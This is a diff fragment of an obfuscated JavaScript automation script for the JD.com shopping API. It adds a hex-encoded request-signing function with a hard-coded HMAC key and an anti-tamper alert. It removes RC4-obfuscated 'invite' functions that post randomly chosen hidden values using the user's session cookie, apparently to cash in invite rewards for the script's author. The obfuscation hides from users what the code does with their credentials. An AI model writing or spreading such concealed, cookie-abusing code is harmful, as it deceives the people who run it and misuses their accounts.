__Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) +var __encode = 'jsjiami.com', _a = {}, _0xb483 = ["\x5F\x64\x65\x63\x6F\x64\x65", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"]; (function (_0xd642x1) { _0xd642x1[_0xb483[0]] = _0xb483[1] })(_a); var __Oxb24bc = ["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26", "\x73\x74\x72\x69\x6E\x67\x69\x66\x79", "\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26", "\x26", "\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66", "\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30", "\x69\x73\x4E\x6F\x64\x65", "\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73", "", "\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D", "\x26\x62\x6F\x64\x79\x3D", "\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D", "\x26\x73\x69\x67\x6E\x3D", "\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D", "\x2A\x2F\x2A", "\x52\x4E", "\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29", "\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39", "\x75\x6E\x64\x65\x66\x69\x6E\x65\x64", "\x6C\x6F\x67", "\u5220\u9664", "\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A", "\u671F\u5F39\u7A97\uFF0C", "\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C", "\x6A\x73\x6A\x69\x61", "\x6D\x69\x2E\x63\x6F\x6D"]; function taskUrl(_0x7683x2, _0x7683x3 = {}) { let _0x7683x4 = + new Date(); let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; let _0x7683x6 = __Oxb24bc[0x5]; const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); return { url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, headers: { '\x48\x6F\x73\x74': __Oxb24bc[0xd], '\x61\x63\x63\x65\x70\x74': __Oxb24bc[0xe], '\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D': __Oxb24bc[0xf], '\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74': __Oxb24bc[0x10], '\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65': __Oxb24bc[0x11], '\x43\x6F\x6F\x6B\x69\x65': cookie } } } (function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { _0x7683xe = __Oxb24bc[0x12]; _0x7683xc = function (_0x7683xf) { if (typeof alert !== _0x7683xe) { alert(_0x7683xf) }; if (typeof console !== _0x7683xe) { console[__Oxb24bc[0x13]](_0x7683xf) } }; _0x7683xb = function (_0x7683x7, _0x7683x9) { return _0x7683x7 + _0x7683x9 }; _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); try { _0x7683x9 = __encode; if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { _0x7683xc(_0x7683xd) } } catch (e) { _0x7683xc(_0x7683xd) } })({}) function taskGetUrl(function_id, body) { return { @@ -672,7 +682,65 @@ function taskGetUrl(function_id, body) { } } -var _0xod3='jsjiami.com.v6',_0x444a=[_0xod3,'KB9aAcKyw5V6aysLwpzCqELDqg7CqsKMVggVE8KdLsOS','CMOxK2LCqgsEYG83w7oeL8KsUg9DCcOPfBTCgQNM','wq10woh5wpPDmMOaAC11wqtpw54Lw719OnA8w6o9KkJ3wp5MwojDp8KKw6Zlw5pzAHxuXsK0w6BpdsKaw4HDlQ==','wqMaw6sTdEBxw7nDq8OIwqrCmh7DocKbTsK5U08pVQTCjmPCunRSZMOpBU19wqfCgMOXfXw7w5k1w4zCrsKHRw==','bj/ChcKOYipqPMKpTgBewojDiMOmCsOmw7l7V8ODNMKXwrHDmsO/c3bDgHIvGj/Dl2nCphPCpsKsw5dGw78Jwrw=','wpprwrE1wozDgsO3DCx1wo93','wqJffMO4MQx1KsOmwot/e8Obd8OGwr7Co2DDtwJtCsOMw7BjSMOjwpdjeAbDtmU=','YhbCtMKnby9Bw5XClyjDmGnCqAJ1w4snw6sqLsOWLWNywobDtxXCvk8OG2gw','ZcOCwpkkw4PCiVIqZcK9PMKZRTLDqMK7wqjCkhFAVWlLw6Zz','cHxERcKO','wrwzw6F4dcOpwp/CkhTDt8O7w7kFEcOUw4c=','wrFIwo1a','wrNPwrjCiMOYwqgjw61fw6w/HTTCr8ONwoLDuzfCmVYWwpnCn0keZsOGXTHCngPDt8KAwoFOA2cEV8OewodMVsKHw48OPMOAw6bDgMOOwotmw4HDk1srwrHCvsOLKgJaw6UDNCTCjTPCgXLDvcKvwqIVw77DtcKywrdRw7PDsjbCscOpMsKsw5rDjcO+EsOLw6JCfT0Xwr0WAcKXw5hXwq0RwpMQw6XDlsOONCrDo1PColnDswE5F8O5ZsK+wpEETx9VT13CrGsTGWrCug8KEcKAR8OBwq3DmU1kQcOFwq/DgMO8OcKzFg==','wozDqcKFLMKVEMOowpDDsQnDpgLCnMKXScK7JcKKGmsp','w59hwpDClcOJ','w5gTcx/DmQ==','wqtibsOgFA==','XwNDLsOd','wprDoMKMwqA4','w5lNwpDCssOq','asOIw55Yw64=','B8OPBcOHwrc=','wocUwoFFbQ==','wqzCscOow4nCqw==','dsOsw6h1w5g=','w4zCj8KJJhk=','RMKYbMKsw6Q=','w7JJwrPCi8Oe','wqN8LSHDvw==','wpbDvMKfOMKJRw==','wo7Dk8K0DMKw','w6tPw6VCWQ==','wr9/w5c4woA=','QMOYw69Kw5s=','wrhPw5QjHQ==','w5fCjQLCjTXCpQ==','w5LCrQc=','wqPDvRwBCcK9wp3Di8KHw5ofYmM=','w7dyw50=','wpTCrsOFw4rCu1vCksOgLcOpUMOpw7U=','woQMw4kbQg==','wrDDl8KZbRM=','w4F2wpnCtsOzwogUw5gqw5E=','MsOTB8ORwpjCvWg=','eBRcX8Ka','wol9w6UwKGUu','RSBhNsOA','NMK4AzLCpA==','P8KRwoXCoR/DmMOiwoIPw5XCjsKjdsOIQ3Z5GcO+w7AvNcK0w6Zmw5jDiBYUwopFwpIlDCjCj8Ov','AMKhwoPCpiY=','wohtw783PXggFcKNwqnCr8KWw5DCpMKKw6/CmHkgwrnCgMOoWcKOwqjCp8OLwq3Dn8KKwrvDocOWfxvCgT9gwpVfORjDkMK9w67DgzXCmMK1wpcLw4ZMwpY8wrLDoMO1QRnCtxnDpMOLwpNyYWTCvRVFw7TDsCZPw6MXw7XCgcKKJcKUVMKwwo/DtxvDkDjCokDDmcKnw54ACMOJwq/CkMOswpHDm1PDnENsw7UkNcKgCwUqw4Y=','wpTDksOxa00=','wrYJw77CkMOVwrk2wr9ewrQSAXbDtcKOw5zCo33ClABGw5/DmhhRJcOXSDXCmlzDtMKaw5BSEGdbJ8KXwqJRBw==','ccOFw6FHw7g=','IETDuBM=','aAPDusKxAxJJYwkAZgzDnwvCthnDqsOwKj4QK8KRwoc=','BMOow70RCsKGwqLDqy3DoGw3XRQdw6TDrQLCl0rCpcORw4bDlsKHwpBawox+wrPDi8OJX8KUw4kUPcOiBcKow6LCmkHDlQ==','wo7CpcO9w67CoGnCosOnJcODd8Ogw4p+dGMUwrdeHG0Dw4/Dtg==','w59zesOhM8ONwrTCpcOjwpvDlwAWw5vCkH3Cp3TCuTzDjcKpX1LDr2dXeVbCn8OFVnAFASl0TlzDr8KXWFBj','ZwnCgRN+w7vDoXrCr2bCtcKvZMOew6Juw6jCs8K3wrHCgmVvwqzCpcKkw6nDpcORbU3DjzzDncOTwqvDvcOewrzCoSckwr/DqA==','UMKDKcKHwr0Iwr4YNT0FwprCky9QETMXXzBRHMOgMcO2wpXCrxvDnMKAdz41w5IDwqI4JcOqSsK/dsOYBCvCv2TDrjof','w5XCqgLClHJQwrzDkE3CnVjDqRbCiUBaw6fCsMOsSnVgwp4wcsOOc8K+','LsKqBEnDsABYw648S2YeADxQEmB5Fw9FVUPDlMOgwoDDpcKtfVg=','MAPCi8O/Rztww7bCiRTDnw3CgENpw65pwrQ0I8KTEXM6','wpjCszVVw7PCh8O4wrfDusKcJMOnw6Z2wqHDl2XDpcOLwrl0BgNr','N1rDksKbwrIdwpwIPTfCi03CqCfClMO1wppywqDCp8ODwq1twpU/JHFFCDrDrcKkasKpw6sZwoQZwo/Cq8Omw4XDhz4=','FcKiOCvCgG12wq5uLkg3URFYSFVwYzR3AFPDgMOzw7TDqcK8LX0ldsK2w7cLw4nDjRZ6w6nCmsO7wo07','eAjCsyJvw4vDg0vCr3LCs8ObWcOkw68Mw7bDlcK9wpHDhhlew53Co8KWwrXDhMO9bHnDmS/Co8KgwqvDvsOrw5HCqnsswrPDqA==','JgVpwq1rG8Oxwr7Cp8O4w50x','w6EqdhvDksO1H8ObChhRwoDDvT/CvcKPaGrCtcKfMXQWw5fDrsO+F8KyaQ7DuW1K','wqJffMO4MQx1KsOmwot/e8OJKcOewqfDuG3DpQhnE8OOw7V9RcOvwpcsN0jCvCs=','XRzChMOFw5xVRcKhw5Ejw5HCjsOzwrTDgTnDiXViOcOsGSjDisKDS8OKKA==','wp7DtcOcP8KI','FnLCjsKoRxt1C8KpQDchwonDksKKDw==','wrTDlHvCnw==','EgLClMOZw5sOGsO+woMkw7fChsOjw6rDn2XCnSwzcMK5A2zCmsKWRsOAMTHDtAvCj8OTbsO4W8OFanTCjwZtwoTDj8OuWMKqbsO6DkTDkQtOSnZ2wqUdwrRywqLCg8OnWsKTwo1dW0BlwoXDikcgKnLCscKlw5LCisOFeFguHzTDsn1jwrlMQz5Fb8OaNsKKwp/CgsONw4lYw7Nww6PCpyICYcKdw7IVwo4bIHpvKH/DgsO1ezXDmnEWd8KYw6MZw7bDhCHCuWbDg8O+wogsL8KGw6oBw43Ct3jCncOGw4XDvcK8Xg==','w5bCijjCkiLDusK+ZxQcwpbDhsKdwqfCoMOkJwvDrGjClFDClcOzd3V1Rnc=','dxxebcKk','H3rDscKAwqE=','bTLCpzpx','w5zDmcOtw4rDnQ==','a0McXsK1','wpw3wqDClRk=','WhPCnxZE','DwVnw65L','T8KhccKXw5A=','P8O0w4spLw==','wqMHw4E8fg==','MkbDpsKWwrk=','wozDj0LCpA0=','SAbCnThn','VAXCksKYUQ==','XCrCjsK3Ww==','wofDt0fCsDk=','V8Oew6V4w5c=','wrh8w7Eswq0=','HQ1lw49y','M0PDnsKAwogf','ZgjCsg==','wqvDg8KRRcOSSVVMwp44a8Okw54=','wpLDqsOJ','USlKYMKgw6d4Yx0fwrDCrUY=','EGXDssKkwrw=','KHbDt8K8wqo=','K8KAMSPCnBR1w5tXLQ==','wo7DizcwO8KMwq4=','woLCpiLClWw=','wpg/wrzCowIXWA==','wq7DsMKCTcOI','wqTDtcKMWhg=','VMK9cMKfw5w=','IQBuw6ByXMO0wrTDgMO/wo8Vwp/DmkJqWB1aw7sddRtZwrISF2FUwohPNMKyw5/Ds0/CmcOEUcKCCMKlw4Q/ETRLIcKUfzHChgXCg8O1ZMOtw5ZPFGgMw4bDrcKqwoZqw4DCpBrCgcKiwoUtwrPDn1EUwoXDqkZ7NlRNw4Mwwow9w4kHADjCsQ==','LMOhw6grIw==','w6DCp8O2wpI/QcKpG8K2w4rDkcOPBMKXw5gVRGNOw77CmWxVYwHDmUfDh8KlBQ/Dnwg6YMKowp/Dv8Otw4RFG1DDghBrw5TDpzkEw5h8WcK0V8KIOgZewqHCvRXCpsO7Y8OsAsK1a8K5w486wqV9csKow69kDj7DgsKGwq4+wpBsasKYbsO+TToCO0xuw6zCksO0P8KgEXRwA8KnMy3DinQ6OMOAA2LCpybDkcKHa0vCsGgLw4rCk1oUwr7DhW3DvGTCoMKNOMOAd8K5w5/DlsOhw6sFwrfCoVfCmHLCmcK9b8Otw5fDt8OOwoUOwoTCkShJfmwQKChVwr7DoMO2dR3DixPCtWtTwonDicOEXsOQW8ODWRfCkMOZw4/ClMKDEU3Dl8KVwrZUKlpyIMKCw67CicK9ZsOpA8KVwodOwr3CqwICwoLCicKbwpF1w4JeEMKMFCHCocK3wqozw5AEw6TDrMKQwpjCrQHDn8KgUA7Do04qTk8sw6oaw7vCp0NSwonCtsKiEyVIwp7CnsK0TsOFVA==','w5wZIcObwoLDgzTCqMOeL8KWZsKSESjDj8ODw5vDisKOW8Obwop4','wpfCih3ChA==','w5rDgzrCjiB2ek9swrjCh8OBEcOYeChMI2/ChcK+wrjCjgU=','w47CuzZqwq7CnMOtwpvDusOFfcOEw7Q3wqbDkHnDpsK6woMPMXsxCnTCozd9w5rDrsOvCC3DlsKxwo47w4HCqRTCpjx6','LlnDoDpfw5h3w4pUwphzPHnCs8KMIMK4wp1kecOcZXd/','DxFGw5JuAMOSwrjDiMOBw7QKwrLCnVtZaBJSwqZMeU1Swq0THlR1w4tkAMOhwqjDnWvChMOHQ8KOa8Kgw7h2','N8KwBzXCqAFcw51LPFQ3HShUE3JuQjNwLFTCkcKgw6bDicO4Km8PScKzw6Btw7XDrCVKw4LDjMO8wo07','VcO9wpl1wozChMKRNyVkBcOKL8KOEMKjb8OvwqzCtE9EwofDgzZRWifDjsKDwqUZfMKRQQ3DuMKjwo4Xw54LFsKQwq3CpxU5OcO0','wrIVahPDrcOMHcKaEzJrw63Dk3TDo8K5EXLDtMKOIVEcwpTDhsK6TcKY','MUzDssOBw7N8wrEQN2bCglvCpCTDlsO0wqFfw6LCmcOHw7NHwqxZfWUnUiw=','jsgYjUxiaQJmi.Vctom.vn6YhwuJJ=='];(function(_0x4d697b,_0x412f5d,_0x13a220){var _0x10c543=function(_0x43cb8d,_0x1a29bd,_0x2a3d7e,_0x5187a6,_0x57fad4){_0x1a29bd=_0x1a29bd>>0x8,_0x57fad4='po';var _0x3aff67='shift',_0x2498af='push';if(_0x1a29bd<_0x43cb8d){while(--_0x43cb8d){_0x5187a6=_0x4d697b[_0x3aff67]();if(_0x1a29bd===_0x43cb8d){_0x1a29bd=_0x5187a6;_0x2a3d7e=_0x4d697b[_0x57fad4+'p']();}else if(_0x1a29bd&&_0x2a3d7e['replace'](/[gYUxQJVtnYhwuJJ=]/g,'')===_0x1a29bd){_0x4d697b[_0x2498af](_0x5187a6);}}_0x4d697b[_0x2498af](_0x4d697b[_0x3aff67]());}return 0x787ae;};return _0x10c543(++_0x412f5d,_0x13a220)>>_0x412f5d^_0x13a220;}(_0x444a,0x1e8,0x1e800));var _0x5f27=function(_0x4e38e1,_0x5f3772){_0x4e38e1=~~'0x'['concat'](_0x4e38e1);var _0x41b1f2=_0x444a[_0x4e38e1];if(_0x5f27['rXRbbU']===undefined){(function(){var _0x40dc14=function(){var _0x272973;try{_0x272973=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x440aa1){_0x272973=window;}return _0x272973;};var _0x483ad5=_0x40dc14();var _0xa4b8ac='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x483ad5['atob']||(_0x483ad5['atob']=function(_0x37ed5c){var _0xe5ff6a=String(_0x37ed5c)['replace'](/=+$/,'');for(var _0xdf7dbc=0x0,_0x2a59da,_0x165867,_0x30c67c=0x0,_0x225e40='';_0x165867=_0xe5ff6a['charAt'](_0x30c67c++);~_0x165867&&(_0x2a59da=_0xdf7dbc%0x4?_0x2a59da*0x40+_0x165867:_0x165867,_0xdf7dbc++%0x4)?_0x225e40+=String['fromCharCode'](0xff&_0x2a59da>>(-0x2*_0xdf7dbc&0x6)):0x0){_0x165867=_0xa4b8ac['indexOf'](_0x165867);}return _0x225e40;});}());var _0x5fd829=function(_0x274260,_0x5f3772){var _0x2a497e=[],_0x2653a4=0x0,_0x228aab,_0x59022b='',_0x8e5b6a='';_0x274260=atob(_0x274260);for(var _0x441e86=0x0,_0x242ad8=_0x274260['length'];_0x441e86<_0x242ad8;_0x441e86++){_0x8e5b6a+='%'+('00'+_0x274260['charCodeAt'](_0x441e86)['toString'](0x10))['slice'](-0x2);}_0x274260=decodeURIComponent(_0x8e5b6a);for(var _0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2a497e[_0x204b80]=_0x204b80;}for(_0x204b80=0x0;_0x204b80<0x100;_0x204b80++){_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80]+_0x5f3772['charCodeAt'](_0x204b80%_0x5f3772['length']))%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;}_0x204b80=0x0;_0x2653a4=0x0;for(var _0x54bdb1=0x0;_0x54bdb1<_0x274260['length'];_0x54bdb1++){_0x204b80=(_0x204b80+0x1)%0x100;_0x2653a4=(_0x2653a4+_0x2a497e[_0x204b80])%0x100;_0x228aab=_0x2a497e[_0x204b80];_0x2a497e[_0x204b80]=_0x2a497e[_0x2653a4];_0x2a497e[_0x2653a4]=_0x228aab;_0x59022b+=String['fromCharCode'](_0x274260['charCodeAt'](_0x54bdb1)^_0x2a497e[(_0x2a497e[_0x204b80]+_0x2a497e[_0x2653a4])%0x100]);}return _0x59022b;};_0x5f27['pNMNHG']=_0x5fd829;_0x5f27['kkfxSR']={};_0x5f27['rXRbbU']=!![];}var _0x2b06fd=_0x5f27['kkfxSR'][_0x4e38e1];if(_0x2b06fd===undefined){if(_0x5f27['ILWjZu']===undefined){_0x5f27['ILWjZu']=!![];}_0x41b1f2=_0x5f27['pNMNHG'](_0x41b1f2,_0x5f3772);_0x5f27['kkfxSR'][_0x4e38e1]=_0x41b1f2;}else{_0x41b1f2=_0x2b06fd;}return _0x41b1f2;};function invite2(){var _0x27cc4a={'KDLqe':_0x5f27('0','[MEy'),'XIuhb':_0x5f27('1','YzVd'),'hMbtL':_0x5f27('2','q7p1'),'yMkrt':_0x5f27('3','V6Nx'),'XkXQo':_0x5f27('4','XsN9'),'MhLVF':_0x5f27('5','[^(Z'),'sEtGZ':_0x5f27('6','C7$w'),'RyvrN':_0x5f27('7','lEPt'),'IcOHN':_0x5f27('8','#p!4'),'rLrVC':_0x5f27('9','bOJy'),'oaBjl':_0x5f27('a','gPAC'),'olKQO':_0x5f27('b','ilha'),'XkvAa':_0x5f27('c','R143'),'dFQTB':function(_0x50b8e9,_0x5ad457){return _0x50b8e9*_0x5ad457;},'jNEPV':_0x5f27('d','gPAC'),'ySNis':_0x5f27('e','ehIJ'),'eItqc':_0x5f27('f','TvJw'),'YUEUo':_0x5f27('10','synn'),'VWEwT':_0x5f27('11','C0ws'),'LgnRu':function(_0x4c4f87,_0x4a3170){return _0x4c4f87(_0x4a3170);},'qdLNj':_0x5f27('12','BdIl'),'cnIji':_0x5f27('13','gPAC'),'JkwCg':_0x5f27('14','Ac7V'),'WDrwJ':function(_0x18c181,_0x54f752){return _0x18c181(_0x54f752);},'cVNZg':function(_0x55643f,_0x34129a){return _0x55643f(_0x34129a);},'hHKXL':_0x5f27('15','j8(H')};let _0x2c6178=+new Date();let _0xf67a42=[_0x27cc4a[_0x5f27('16','Ac7V')],_0x27cc4a[_0x5f27('17','C7$w')],_0x27cc4a[_0x5f27('18','ehIJ')],_0x27cc4a[_0x5f27('19','%P6F')],_0x27cc4a[_0x5f27('1a','GsGt')],_0x27cc4a[_0x5f27('1b','Ac7V')],_0x27cc4a[_0x5f27('1c','[^(Z')],_0x27cc4a[_0x5f27('1d','jhIh')],_0x27cc4a[_0x5f27('1e','L3Kq')],_0x27cc4a[_0x5f27('1f','^EUf')],_0x27cc4a[_0x5f27('20','[^(Z')],_0x27cc4a[_0x5f27('21','9XNs')],_0x27cc4a[_0x5f27('22','aU8%')]][Math[_0x5f27('23','Ac7V')](_0x27cc4a[_0x5f27('24','&cp2')](Math[_0x5f27('25','j8(H')](),0xd))];let _0x2aeb55={'Host':_0x27cc4a[_0x5f27('26','j8(H')],'accept':_0x27cc4a[_0x5f27('27','BdIl')],'content-type':_0x27cc4a[_0x5f27('28','N2@S')],'origin':_0x27cc4a[_0x5f27('29','[^(Z')],'accept-language':_0x27cc4a[_0x5f27('2a','seg[')],'user-agent':$[_0x5f27('2b','PqyP')]()?process[_0x5f27('2c','YzVd')][_0x5f27('2d','0icS')]?process[_0x5f27('2e','BdIl')][_0x5f27('2f','^EUf')]:_0x27cc4a[_0x5f27('30','ilha')](require,_0x27cc4a[_0x5f27('31','e69j')])[_0x5f27('32','Ac7V')]:$[_0x5f27('33','jhIh')](_0x27cc4a[_0x5f27('34','#p!4')])?$[_0x5f27('35','seg[')](_0x27cc4a[_0x5f27('36','%P6F')]):_0x27cc4a[_0x5f27('37','XsN9')],'referer':_0x5f27('38','!UsR')+_0x27cc4a[_0x5f27('39','!UsR')](encodeURIComponent,_0xf67a42),'Cookie':cookie};let _0x594b10=_0x5f27('3a','seg[')+_0x27cc4a[_0x5f27('3b','8^js')](encodeURIComponent,_0xf67a42)+_0x5f27('3c','Ac7V')+_0x2c6178;var _0x44d05b={'url':_0x27cc4a[_0x5f27('3d','[^(Z')],'headers':_0x2aeb55,'body':_0x594b10};$[_0x5f27('3e','oPBY')](_0x44d05b,(_0x46da53,_0x3abdba,_0x113b96)=>{});}function invite(){var _0x4528be={'lfKXW':_0x5f27('3f',']T!G'),'EJaoM':_0x5f27('40','ed*u'),'CXUmd':_0x5f27('41','^EUf'),'HvtbA':_0x5f27('42','Vha('),'aWuxU':_0x5f27('43','vLLe'),'cmhRz':_0x5f27('44','aU8%'),'tymAQ':_0x5f27('45','[^o5'),'HpgmM':_0x5f27('46','XsN9'),'SRkzU':_0x5f27('47','TvJw'),'BdqMO':_0x5f27('48','YzVd'),'klfuI':_0x5f27('49','lEPt'),'Ssdoy':_0x5f27('4a','XsN9'),'rHlzU':_0x5f27('4b','vLLe'),'WcVSW':function(_0x4c5c2a,_0x17e256){return _0x4c5c2a*_0x17e256;},'dwJLC':_0x5f27('4c','V6Nx'),'ypina':_0x5f27('4d','C7$w'),'NSOgc':_0x5f27('4e','ehIJ'),'bJReN':_0x5f27('4f','^A9e'),'ZxeLt':_0x5f27('50','j8(H'),'JUbKP':function(_0x1b6c70,_0x582396){return _0x1b6c70(_0x582396);},'ICuEj':_0x5f27('51','R143'),'eCLeH':_0x5f27('52','91%f'),'eFYya':_0x5f27('53','^A9e'),'HNjrY':_0x5f27('54','PqyP'),'QqROC':function(_0x310d41,_0x4d6a91){return _0x310d41(_0x4d6a91);}};let _0x297a32=+new Date();let 